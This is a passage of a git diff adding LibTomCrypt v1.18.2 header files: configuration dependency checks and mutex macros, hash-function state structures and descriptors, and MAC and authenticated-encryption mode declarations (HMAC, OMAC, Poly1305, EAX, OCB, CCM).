!defined(LTC_POLY1305)) + #error LTC_CHACHA20POLY1305_MODE requires LTC_CHACHA + LTC_POLY1305 +#endif + +#if defined(LTC_CHACHA20_PRNG) && !defined(LTC_CHACHA) + #error LTC_CHACHA20_PRNG requires LTC_CHACHA +#endif + +#if defined(LTC_RC4) && !defined(LTC_RC4_STREAM) + #error LTC_RC4 requires LTC_RC4_STREAM +#endif + +#if defined(LTC_SOBER128) && !defined(LTC_SOBER128_STREAM) + #error LTC_SOBER128 requires LTC_SOBER128_STREAM +#endif + +#if defined(LTC_BLAKE2SMAC) && !defined(LTC_BLAKE2S) + #error LTC_BLAKE2SMAC requires LTC_BLAKE2S +#endif + +#if defined(LTC_BLAKE2BMAC) && !defined(LTC_BLAKE2B) + #error LTC_BLAKE2BMAC requires LTC_BLAKE2B +#endif + +#if defined(LTC_SPRNG) && !defined(LTC_RNG_GET_BYTES) + #error LTC_SPRNG requires LTC_RNG_GET_BYTES +#endif + +#if defined(LTC_NO_MATH) && (defined(LTM_DESC) || defined(TFM_DESC) || defined(GMP_DESC)) + #error LTC_NO_MATH defined, but also a math descriptor +#endif + +/* THREAD management */ +#ifdef LTC_PTHREAD + +#include + +#define LTC_MUTEX_GLOBAL(x) pthread_mutex_t x = PTHREAD_MUTEX_INITIALIZER; +#define LTC_MUTEX_PROTO(x) extern pthread_mutex_t x; +#define LTC_MUTEX_TYPE(x) pthread_mutex_t x; +#define LTC_MUTEX_INIT(x) LTC_ARGCHK(pthread_mutex_init(x, NULL) == 0); +#define LTC_MUTEX_LOCK(x) LTC_ARGCHK(pthread_mutex_lock(x) == 0); +#define LTC_MUTEX_UNLOCK(x) LTC_ARGCHK(pthread_mutex_unlock(x) == 0); +#define LTC_MUTEX_DESTROY(x) LTC_ARGCHK(pthread_mutex_destroy(x) == 0); + +#else + +/* default no functions */ +#define LTC_MUTEX_GLOBAL(x) +#define LTC_MUTEX_PROTO(x) +#define LTC_MUTEX_TYPE(x) +#define LTC_MUTEX_INIT(x) +#define LTC_MUTEX_LOCK(x) +#define LTC_MUTEX_UNLOCK(x) +#define LTC_MUTEX_DESTROY(x) + +#endif + +/* Debuggers */ + +/* define this if you use Valgrind, note: it CHANGES the way SOBER-128 and RC4 work (see the code) */ +/* #define LTC_VALGRIND */ + +#endif + +#ifndef LTC_NO_FILE + /* buffer size for reading from a file via fread(..) */ + #ifndef LTC_FILE_READ_BUFSIZE + #define LTC_FILE_READ_BUFSIZE 8192 + #endif +#endif + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_hash.h b/include/tomcrypt_hash.h new file mode 100644 index 0000000..4bb0263 --- /dev/null +++ b/include/tomcrypt_hash.h @@ -0,0 +1,531 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +/* ---- HASH FUNCTIONS ---- */ +#ifdef LTC_SHA3 +struct sha3_state { + ulong64 saved; /* the portion of the input message that we didn't consume yet */ + ulong64 s[25]; + unsigned char sb[25 * 8]; /* used for storing `ulong64 s[25]` as little-endian bytes */ + unsigned short byte_index; /* 0..7--the next byte after the set one (starts from 0; 0--none are buffered) */ + unsigned short word_index; /* 0..24--the next word to integrate input (starts from 0) */ + unsigned short capacity_words; /* the double size of the hash output in words (e.g. 16 for Keccak 512) */ + unsigned short xof_flag; +}; +#endif + +#ifdef LTC_SHA512 +struct sha512_state { + ulong64 length, state[8]; + unsigned long curlen; + unsigned char buf[128]; +}; +#endif + +#ifdef LTC_SHA256 +struct sha256_state { + ulong64 length; + ulong32 state[8], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_SHA1 +struct sha1_state { + ulong64 length; + ulong32 state[5], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_MD5 +struct md5_state { + ulong64 length; + ulong32 state[4], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_MD4 +struct md4_state { + ulong64 length; + ulong32 state[4], curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_TIGER +struct tiger_state { + ulong64 state[3], length; + unsigned long curlen; + unsigned char buf[64]; +}; +#endif + +#ifdef LTC_MD2 +struct md2_state { + unsigned char chksum[16], X[48], buf[16]; + unsigned long curlen; +}; +#endif + +#ifdef LTC_RIPEMD128 +struct rmd128_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[4]; +}; +#endif + +#ifdef LTC_RIPEMD160 +struct rmd160_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[5]; +}; +#endif + +#ifdef LTC_RIPEMD256 +struct rmd256_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[8]; +}; +#endif + +#ifdef LTC_RIPEMD320 +struct rmd320_state { + ulong64 length; + unsigned char buf[64]; + ulong32 curlen, state[10]; +}; +#endif + +#ifdef LTC_WHIRLPOOL +struct whirlpool_state { + ulong64 length, state[8]; + unsigned char buf[64]; + ulong32 curlen; +}; +#endif + +#ifdef LTC_CHC_HASH +struct chc_state { + ulong64 length; + unsigned char state[MAXBLOCKSIZE], buf[MAXBLOCKSIZE]; + ulong32 curlen; +}; +#endif + +#ifdef LTC_BLAKE2S +struct blake2s_state { + ulong32 h[8]; + ulong32 t[2]; + ulong32 f[2]; + unsigned char buf[64]; + unsigned long curlen; + unsigned long outlen; + unsigned char last_node; +}; +#endif + +#ifdef LTC_BLAKE2B +struct blake2b_state { + ulong64 h[8]; + ulong64 t[2]; + ulong64 f[2]; + unsigned char buf[128]; + unsigned long curlen; + unsigned long outlen; + unsigned char last_node; +}; +#endif + +typedef union Hash_state { + char dummy[1]; +#ifdef LTC_CHC_HASH + struct chc_state chc; +#endif +#ifdef LTC_WHIRLPOOL + struct whirlpool_state whirlpool; +#endif +#ifdef LTC_SHA3 + struct sha3_state sha3; +#endif +#ifdef LTC_SHA512 + struct sha512_state sha512; +#endif +#ifdef LTC_SHA256 + struct sha256_state sha256; +#endif +#ifdef LTC_SHA1 + struct sha1_state sha1; +#endif +#ifdef LTC_MD5 + struct md5_state md5; +#endif +#ifdef LTC_MD4 + struct md4_state md4; +#endif +#ifdef LTC_MD2 + struct md2_state md2; +#endif +#ifdef LTC_TIGER + struct tiger_state tiger; +#endif +#ifdef LTC_RIPEMD128 + struct rmd128_state rmd128; +#endif +#ifdef LTC_RIPEMD160 + struct rmd160_state rmd160; +#endif +#ifdef LTC_RIPEMD256 + struct rmd256_state rmd256; +#endif +#ifdef LTC_RIPEMD320 + struct rmd320_state rmd320; +#endif +#ifdef LTC_BLAKE2S + struct blake2s_state blake2s; +#endif +#ifdef LTC_BLAKE2B + struct blake2b_state blake2b; +#endif + + void *data; +} hash_state; + +/** hash descriptor */ +extern struct ltc_hash_descriptor { + /** name of hash */ + const char *name; + /** internal ID */ + unsigned char ID; + /** Size of digest in octets */ + unsigned long hashsize; + /** Input block size in octets */ + unsigned long blocksize; + /** ASN.1 OID */ + unsigned long OID[16]; + /** Length of DER encoding */ + unsigned long OIDlen; + + /** Init a hash state + @param hash The hash to initialize + @return CRYPT_OK if successful + */ + int (*init)(hash_state *hash); + /** Process a block of data + @param hash The hash state + @param in The data to hash + @param inlen The length of the data (octets) + @return CRYPT_OK if successful + */ + int (*process)(hash_state *hash, const unsigned char *in, unsigned long inlen); + /** Produce the digest and store it + @param hash The hash state + @param out [out] The destination of the digest + @return CRYPT_OK if successful + */ + int (*done)(hash_state *hash, unsigned char *out); + /** Self-test + @return CRYPT_OK if successful, CRYPT_NOP if self-tests have been disabled + */ + int (*test)(void); + + /* accelerated hmac callback: if you need to-do multiple packets just use the generic hmac_memory and provide a hash callback */ + int (*hmac_block)(const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); + +} hash_descriptor[]; + +#ifdef LTC_CHC_HASH +int chc_register(int cipher); +int chc_init(hash_state * md); +int chc_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int chc_done(hash_state * md, unsigned char *hash); +int chc_test(void); +extern const struct ltc_hash_descriptor chc_desc; +#endif + +#ifdef LTC_WHIRLPOOL +int whirlpool_init(hash_state * md); +int whirlpool_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int whirlpool_done(hash_state * md, unsigned char *hash); +int whirlpool_test(void); +extern const struct ltc_hash_descriptor whirlpool_desc; +#endif + +#ifdef LTC_SHA3 +int sha3_512_init(hash_state * md); +int sha3_512_test(void); +extern const struct ltc_hash_descriptor sha3_512_desc; +int sha3_384_init(hash_state * md); +int sha3_384_test(void); +extern const struct ltc_hash_descriptor sha3_384_desc; +int sha3_256_init(hash_state * md); +int sha3_256_test(void); +extern const struct ltc_hash_descriptor sha3_256_desc; +int sha3_224_init(hash_state * md); +int sha3_224_test(void); +extern const struct ltc_hash_descriptor sha3_224_desc; +/* process + done are the same for all variants */ +int sha3_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha3_done(hash_state *md, unsigned char *hash); +/* SHAKE128 + SHAKE256 */ +int sha3_shake_init(hash_state *md, int num); +#define sha3_shake_process(a,b,c) sha3_process(a,b,c) +int sha3_shake_done(hash_state *md, unsigned char *out, unsigned long outlen); +int sha3_shake_test(void); +int sha3_shake_memory(int num, const unsigned char *in, unsigned long inlen, unsigned char *out, unsigned long *outlen); +#endif + +#ifdef LTC_SHA512 +int sha512_init(hash_state * md); +int sha512_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha512_done(hash_state * md, unsigned char *hash); +int sha512_test(void); +extern const struct ltc_hash_descriptor sha512_desc; +#endif + +#ifdef LTC_SHA384 +#ifndef LTC_SHA512 + #error LTC_SHA512 is required for LTC_SHA384 +#endif +int sha384_init(hash_state * md); +#define sha384_process sha512_process +int sha384_done(hash_state * md, unsigned char *hash); +int sha384_test(void); +extern const struct ltc_hash_descriptor sha384_desc; +#endif + +#ifdef LTC_SHA512_256 +#ifndef LTC_SHA512 + #error LTC_SHA512 is required for LTC_SHA512_256 +#endif +int sha512_256_init(hash_state * md); +#define sha512_256_process sha512_process +int sha512_256_done(hash_state * md, unsigned char *hash); +int sha512_256_test(void); +extern const struct ltc_hash_descriptor sha512_256_desc; +#endif + +#ifdef LTC_SHA512_224 +#ifndef LTC_SHA512 + #error LTC_SHA512 is required for LTC_SHA512_224 +#endif +int sha512_224_init(hash_state * md); +#define sha512_224_process sha512_process +int sha512_224_done(hash_state * md, unsigned char *hash); +int sha512_224_test(void); +extern const struct ltc_hash_descriptor sha512_224_desc; +#endif + +#ifdef LTC_SHA256 +int sha256_init(hash_state * md); +int sha256_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha256_done(hash_state * md, unsigned char *hash); +int sha256_test(void); +extern const struct ltc_hash_descriptor sha256_desc; + +#ifdef LTC_SHA224 +#ifndef LTC_SHA256 + #error LTC_SHA256 is required for LTC_SHA224 +#endif +int sha224_init(hash_state * md); +#define sha224_process sha256_process +int sha224_done(hash_state * md, unsigned char *hash); +int sha224_test(void); +extern const struct ltc_hash_descriptor sha224_desc; +#endif +#endif + +#ifdef LTC_SHA1 +int sha1_init(hash_state * md); +int sha1_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int sha1_done(hash_state * md, unsigned char *hash); +int sha1_test(void); +extern const struct ltc_hash_descriptor sha1_desc; +#endif + +#ifdef LTC_BLAKE2S +extern const struct ltc_hash_descriptor blake2s_256_desc; +int blake2s_256_init(hash_state * md); +int blake2s_256_test(void); + +extern const struct ltc_hash_descriptor blake2s_224_desc; +int blake2s_224_init(hash_state * md); +int blake2s_224_test(void); + +extern const struct ltc_hash_descriptor blake2s_160_desc; +int blake2s_160_init(hash_state * md); +int blake2s_160_test(void); + +extern const struct ltc_hash_descriptor blake2s_128_desc; +int blake2s_128_init(hash_state * md); +int blake2s_128_test(void); + +int blake2s_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2s_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int blake2s_done(hash_state * md, unsigned char *hash); +#endif + +#ifdef LTC_BLAKE2B +extern const struct ltc_hash_descriptor blake2b_512_desc; +int blake2b_512_init(hash_state * md); +int blake2b_512_test(void); + +extern const struct ltc_hash_descriptor blake2b_384_desc; +int blake2b_384_init(hash_state * md); +int blake2b_384_test(void); + +extern const struct ltc_hash_descriptor blake2b_256_desc; +int blake2b_256_init(hash_state * md); +int blake2b_256_test(void); + +extern const struct ltc_hash_descriptor blake2b_160_desc; +int blake2b_160_init(hash_state * md); +int blake2b_160_test(void); + +int blake2b_init(hash_state * md, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2b_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int blake2b_done(hash_state * md, unsigned char *hash); +#endif + +#ifdef LTC_MD5 +int md5_init(hash_state * md); +int md5_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int md5_done(hash_state * md, unsigned char *hash); +int md5_test(void); +extern const struct ltc_hash_descriptor md5_desc; +#endif + +#ifdef LTC_MD4 +int md4_init(hash_state * md); +int md4_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int md4_done(hash_state * md, unsigned char *hash); +int md4_test(void); +extern const struct ltc_hash_descriptor md4_desc; +#endif + +#ifdef LTC_MD2 +int md2_init(hash_state * md); +int md2_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int md2_done(hash_state * md, unsigned char *hash); +int md2_test(void); +extern const struct ltc_hash_descriptor md2_desc; +#endif + +#ifdef LTC_TIGER +int tiger_init(hash_state * md); +int tiger_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int tiger_done(hash_state * md, unsigned char *hash); +int tiger_test(void); +extern const struct ltc_hash_descriptor tiger_desc; +#endif + +#ifdef LTC_RIPEMD128 +int rmd128_init(hash_state * md); +int rmd128_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd128_done(hash_state * md, unsigned char *hash); +int rmd128_test(void); +extern const struct ltc_hash_descriptor rmd128_desc; +#endif + +#ifdef LTC_RIPEMD160 +int rmd160_init(hash_state * md); +int rmd160_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd160_done(hash_state * md, unsigned char *hash); +int rmd160_test(void); +extern const struct ltc_hash_descriptor rmd160_desc; +#endif + +#ifdef LTC_RIPEMD256 +int rmd256_init(hash_state * md); +int rmd256_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd256_done(hash_state * md, unsigned char *hash); +int rmd256_test(void); +extern const struct ltc_hash_descriptor rmd256_desc; +#endif + +#ifdef LTC_RIPEMD320 +int rmd320_init(hash_state * md); +int rmd320_process(hash_state * md, const unsigned char *in, unsigned long inlen); +int rmd320_done(hash_state * md, unsigned char *hash); +int rmd320_test(void); +extern const struct ltc_hash_descriptor rmd320_desc; +#endif + + +int find_hash(const char *name); +int find_hash_id(unsigned char ID); +int find_hash_oid(const unsigned long *ID, unsigned long IDlen); +int find_hash_any(const char *name, int digestlen); +int register_hash(const struct ltc_hash_descriptor *hash); +int unregister_hash(const struct ltc_hash_descriptor *hash); +int register_all_hashes(void); +int hash_is_valid(int idx); + +LTC_MUTEX_PROTO(ltc_hash_mutex) + +int hash_memory(int hash, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int hash_memory_multi(int hash, unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); + +#ifndef LTC_NO_FILE +int hash_filehandle(int hash, FILE *in, unsigned char *out, unsigned long *outlen); +int hash_file(int hash, const char *fname, unsigned char *out, unsigned long *outlen); +#endif + +/* a simple macro for making hash "process" functions */ +#define HASH_PROCESS(func_name, compress_name, state_var, block_size) \ +int func_name (hash_state * md, const unsigned char *in, unsigned long inlen) \ +{ \ + unsigned long n; \ + int err; \ + LTC_ARGCHK(md != NULL); \ + LTC_ARGCHK(in != NULL); \ + if (md-> state_var .curlen > sizeof(md-> state_var .buf)) { \ + return CRYPT_INVALID_ARG; \ + } \ + if ((md-> state_var .length + inlen) < md-> state_var .length) { \ + return CRYPT_HASH_OVERFLOW; \ + } \ + while (inlen > 0) { \ + if (md-> state_var .curlen == 0 && inlen >= block_size) { \ + if ((err = compress_name (md, (unsigned char *)in)) != CRYPT_OK) { \ + return err; \ + } \ + md-> state_var .length += block_size * 8; \ + in += block_size; \ + inlen -= block_size; \ + } else { \ + n = MIN(inlen, (block_size - md-> state_var .curlen)); \ + XMEMCPY(md-> state_var .buf + md-> state_var.curlen, in, (size_t)n); \ + md-> state_var .curlen += n; \ + in += n; \ + inlen -= n; \ + if (md-> state_var .curlen == block_size) { \ + if ((err = compress_name (md, md-> state_var .buf)) != CRYPT_OK) { \ + return err; \ + } \ + md-> state_var .length += 8*block_size; \ + md-> state_var .curlen = 0; \ + } \ + } \ + } \ + return CRYPT_OK; \ +} + +/* ref: HEAD -> master, tag: v1.18.2 */ +/* git commit: 7e7eb695d581782f04b24dc444cbfde86af59853 */ +/* commit time: 2018-07-01 22:49:01 +0200 */ diff --git a/include/tomcrypt_mac.h b/include/tomcrypt_mac.h new file mode 100644 index 0000000..80b922e --- /dev/null +++ b/include/tomcrypt_mac.h @@ -0,0 +1,565 @@ +/* LibTomCrypt, modular cryptographic library -- Tom St Denis + * + * LibTomCrypt is a library that provides various cryptographic + * algorithms in a highly modular and flexible manner. + * + * The library is free for all purposes without any express + * guarantee it works. + */ + +#ifdef LTC_HMAC +typedef struct Hmac_state { + hash_state md; + int hash; + hash_state hashstate; + unsigned char *key; +} hmac_state; + +int hmac_init(hmac_state *hmac, int hash, const unsigned char *key, unsigned long keylen); +int hmac_process(hmac_state *hmac, const unsigned char *in, unsigned long inlen); +int hmac_done(hmac_state *hmac, unsigned char *out, unsigned long *outlen); +int hmac_test(void); +int hmac_memory(int hash, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int hmac_memory_multi(int hash, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int hmac_file(int hash, const char *fname, const unsigned char *key, + unsigned long keylen, + unsigned char *dst, unsigned long *dstlen); +#endif + +#ifdef LTC_OMAC + +typedef struct { + int cipher_idx, + buflen, + blklen; + unsigned char block[MAXBLOCKSIZE], + prev[MAXBLOCKSIZE], + Lu[2][MAXBLOCKSIZE]; + symmetric_key key; +} omac_state; + +int omac_init(omac_state *omac, int cipher, const unsigned char *key, unsigned long keylen); +int omac_process(omac_state *omac, const unsigned char *in, unsigned long inlen); +int omac_done(omac_state *omac, unsigned char *out, unsigned long *outlen); +int omac_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *in, unsigned long inlen, + unsigned char *out, unsigned long *outlen); +int omac_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); +int omac_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); +int omac_test(void); +#endif /* LTC_OMAC */ + +#ifdef LTC_PMAC + +typedef struct { + unsigned char Ls[32][MAXBLOCKSIZE], /* L shifted by i bits to the left */ + Li[MAXBLOCKSIZE], /* value of Li [current value, we calc from previous recall] */ + Lr[MAXBLOCKSIZE], /* L * x^-1 */ + block[MAXBLOCKSIZE], /* currently accumulated block */ + checksum[MAXBLOCKSIZE]; /* current checksum */ + + symmetric_key key; /* scheduled key for cipher */ + unsigned long block_index; /* index # for current block */ + int cipher_idx, /* cipher idx */ + block_len, /* length of block */ + buflen; /* number of bytes in the buffer */ +} pmac_state; + +int pmac_init(pmac_state *pmac, int cipher, const unsigned char *key, unsigned long keylen); +int pmac_process(pmac_state *pmac, const unsigned char *in, unsigned long inlen); +int pmac_done(pmac_state *pmac, unsigned char *out, unsigned long *outlen); + +int pmac_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *msg, unsigned long msglen, + unsigned char *out, unsigned long *outlen); + +int pmac_memory_multi(int cipher, + const unsigned char *key, unsigned long keylen, + unsigned char *out, unsigned long *outlen, + const unsigned char *in, unsigned long inlen, ...); + +int pmac_file(int cipher, + const unsigned char *key, unsigned long keylen, + const char *filename, + unsigned char *out, unsigned long *outlen); + +int pmac_test(void); + +/* internal functions */ +int pmac_ntz(unsigned long x); +void pmac_shift_xor(pmac_state *pmac); + +#endif /* PMAC */ + +#ifdef LTC_POLY1305 +typedef struct { + ulong32 r[5]; + ulong32 h[5]; + ulong32 pad[4]; + unsigned long leftover; + unsigned char buffer[16]; + int final; +} poly1305_state; + +int poly1305_init(poly1305_state *st, const unsigned char *key, unsigned long keylen); +int poly1305_process(poly1305_state *st, const unsigned char *in, unsigned long inlen); +int poly1305_done(poly1305_state *st, unsigned char *mac, unsigned long *maclen); +int poly1305_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen); +int poly1305_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...); +int poly1305_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen); +int poly1305_test(void); +#endif /* LTC_POLY1305 */ + +#ifdef LTC_BLAKE2SMAC +typedef hash_state blake2smac_state; +int blake2smac_init(blake2smac_state *st, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2smac_process(blake2smac_state *st, const unsigned char *in, unsigned long inlen); +int blake2smac_done(blake2smac_state *st, unsigned char *mac, unsigned long *maclen); +int blake2smac_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen); +int blake2smac_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...); +int blake2smac_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen); +int blake2smac_test(void); +#endif /* LTC_BLAKE2SMAC */ + +#ifdef LTC_BLAKE2BMAC +typedef hash_state blake2bmac_state; +int blake2bmac_init(blake2bmac_state *st, unsigned long outlen, const unsigned char *key, unsigned long keylen); +int blake2bmac_process(blake2bmac_state *st, const unsigned char *in, unsigned long inlen); +int blake2bmac_done(blake2bmac_state *st, unsigned char *mac, unsigned long *maclen); +int blake2bmac_memory(const unsigned char *key, unsigned long keylen, const unsigned char *in, unsigned long inlen, unsigned char *mac, unsigned long *maclen); +int blake2bmac_memory_multi(const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen, const unsigned char *in, unsigned long inlen, ...); +int blake2bmac_file(const char *fname, const unsigned char *key, unsigned long keylen, unsigned char *mac, unsigned long *maclen); +int blake2bmac_test(void); +#endif /* LTC_BLAKE2BMAC */ + +#ifdef LTC_EAX_MODE + +#if !(defined(LTC_OMAC) && defined(LTC_CTR_MODE)) + #error LTC_EAX_MODE requires LTC_OMAC and CTR +#endif + +typedef struct { + unsigned char N[MAXBLOCKSIZE]; + symmetric_CTR ctr; + omac_state headeromac, ctomac; +} eax_state; + +int eax_init(eax_state *eax, int cipher, const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen); + +int eax_encrypt(eax_state *eax, const unsigned char *pt, unsigned char *ct, unsigned long length); +int eax_decrypt(eax_state *eax, const unsigned char *ct, unsigned char *pt, unsigned long length); +int eax_addheader(eax_state *eax, const unsigned char *header, unsigned long length); +int eax_done(eax_state *eax, unsigned char *tag, unsigned long *taglen); + +int eax_encrypt_authenticate_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int eax_decrypt_verify_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *header, unsigned long headerlen, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + unsigned char *tag, unsigned long taglen, + int *stat); + + int eax_test(void); +#endif /* EAX MODE */ + +#ifdef LTC_OCB_MODE +typedef struct { + unsigned char L[MAXBLOCKSIZE], /* L value */ + Ls[32][MAXBLOCKSIZE], /* L shifted by i bits to the left */ + Li[MAXBLOCKSIZE], /* value of Li [current value, we calc from previous recall] */ + Lr[MAXBLOCKSIZE], /* L * x^-1 */ + R[MAXBLOCKSIZE], /* R value */ + checksum[MAXBLOCKSIZE]; /* current checksum */ + + symmetric_key key; /* scheduled key for cipher */ + unsigned long block_index; /* index # for current block */ + int cipher, /* cipher idx */ + block_len; /* length of block */ +} ocb_state; + +int ocb_init(ocb_state *ocb, int cipher, + const unsigned char *key, unsigned long keylen, const unsigned char *nonce); + +int ocb_encrypt(ocb_state *ocb, const unsigned char *pt, unsigned char *ct); +int ocb_decrypt(ocb_state *ocb, const unsigned char *ct, unsigned char *pt); + +int ocb_done_encrypt(ocb_state *ocb, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int ocb_done_decrypt(ocb_state *ocb, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + const unsigned char *tag, unsigned long taglen, int *stat); + +int ocb_encrypt_authenticate_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int ocb_decrypt_verify_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + const unsigned char *tag, unsigned long taglen, + int *stat); + +int ocb_test(void); + +/* internal functions */ +void ocb_shift_xor(ocb_state *ocb, unsigned char *Z); +int ocb_ntz(unsigned long x); +int s_ocb_done(ocb_state *ocb, const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, unsigned char *tag, unsigned long *taglen, int mode); + +#endif /* LTC_OCB_MODE */ + +#ifdef LTC_OCB3_MODE +typedef struct { + unsigned char Offset_0[MAXBLOCKSIZE], /* Offset_0 value */ + Offset_current[MAXBLOCKSIZE], /* Offset_{current_block_index} value */ + L_dollar[MAXBLOCKSIZE], /* L_$ value */ + L_star[MAXBLOCKSIZE], /* L_* value */ + L_[32][MAXBLOCKSIZE], /* L_{i} values */ + tag_part[MAXBLOCKSIZE], /* intermediate result of tag calculation */ + checksum[MAXBLOCKSIZE]; /* current checksum */ + + /* AAD related members */ + unsigned char aSum_current[MAXBLOCKSIZE], /* AAD related helper variable */ + aOffset_current[MAXBLOCKSIZE], /* AAD related helper variable */ + adata_buffer[MAXBLOCKSIZE]; /* AAD buffer */ + int adata_buffer_bytes; /* bytes in AAD buffer */ + unsigned long ablock_index; /* index # for current adata (AAD) block */ + + symmetric_key key; /* scheduled key for cipher */ + unsigned long block_index; /* index # for current data block */ + int cipher, /* cipher idx */ + tag_len, /* length of tag */ + block_len; /* length of block */ +} ocb3_state; + +int ocb3_init(ocb3_state *ocb, int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + unsigned long taglen); + +int ocb3_encrypt(ocb3_state *ocb, const unsigned char *pt, unsigned long ptlen, unsigned char *ct); +int ocb3_decrypt(ocb3_state *ocb, const unsigned char *ct, unsigned long ctlen, unsigned char *pt); +int ocb3_encrypt_last(ocb3_state *ocb, const unsigned char *pt, unsigned long ptlen, unsigned char *ct); +int ocb3_decrypt_last(ocb3_state *ocb, const unsigned char *ct, unsigned long ctlen, unsigned char *pt); +int ocb3_add_aad(ocb3_state *ocb, const unsigned char *aad, unsigned long aadlen); +int ocb3_done(ocb3_state *ocb, unsigned char *tag, unsigned long *taglen); + +int ocb3_encrypt_authenticate_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *adata, unsigned long adatalen, + const unsigned char *pt, unsigned long ptlen, + unsigned char *ct, + unsigned char *tag, unsigned long *taglen); + +int ocb3_decrypt_verify_memory(int cipher, + const unsigned char *key, unsigned long keylen, + const unsigned char *nonce, unsigned long noncelen, + const unsigned char *adata, unsigned long adatalen, + const unsigned char *ct, unsigned long ctlen, + unsigned char *pt, + const unsigned char *tag, unsigned long taglen, + int *stat); + +int ocb3_test(void); + +#ifdef LTC_SOURCE +/* internal helper functions */ +int ocb3_int_ntz(unsigned long x); +void ocb3_int_xor_blocks(unsigned char *out, const unsigned char *block_a, const unsigned char *block_b, unsigned long block_len); +#endif /* LTC_SOURCE */ + +#endif /* LTC_OCB3_MODE */ + +#ifdef LTC_CCM_MODE + +#define CCM_ENCRYPT LTC_ENCRYPT +#define CCM_DECRYPT LTC_DECRYPT + +typedef struct { + symmetric_key K; + int cipher, /* which cipher */ + taglen, /* length of the tag */ + x; /* index in PAD */ + + unsigned long L, /* L value */ + ptlen, /* length that will be enc / dec */ + current_ptlen, /* current processed length */ + aadlen, /* length of the aad */ + current_aadlen, /* length of the currently provided add */ + noncelen; /* length of the nonce */ + + unsigned char PAD[16], + ctr[16], + CTRPAD[16], + CTRlen; +} ccm_state; + +int ccm_init(ccm_state *ccm, int cipher, + const unsigned char *key, int keylen, int ptlen, int taglen, int aad_len); + +int ccm_reset(ccm_state *ccm); + +int ccm_add_nonce(ccm_state *ccm, + const unsigned char *nonce, unsigned long noncelen); + +int ccm_add_aad(ccm_state *ccm, + const unsigned char *adata, unsigned long adatalen); + +int ccm_process(ccm_state *ccm, + unsigned char *pt, unsigned long ptlen, + unsigned char *ct, 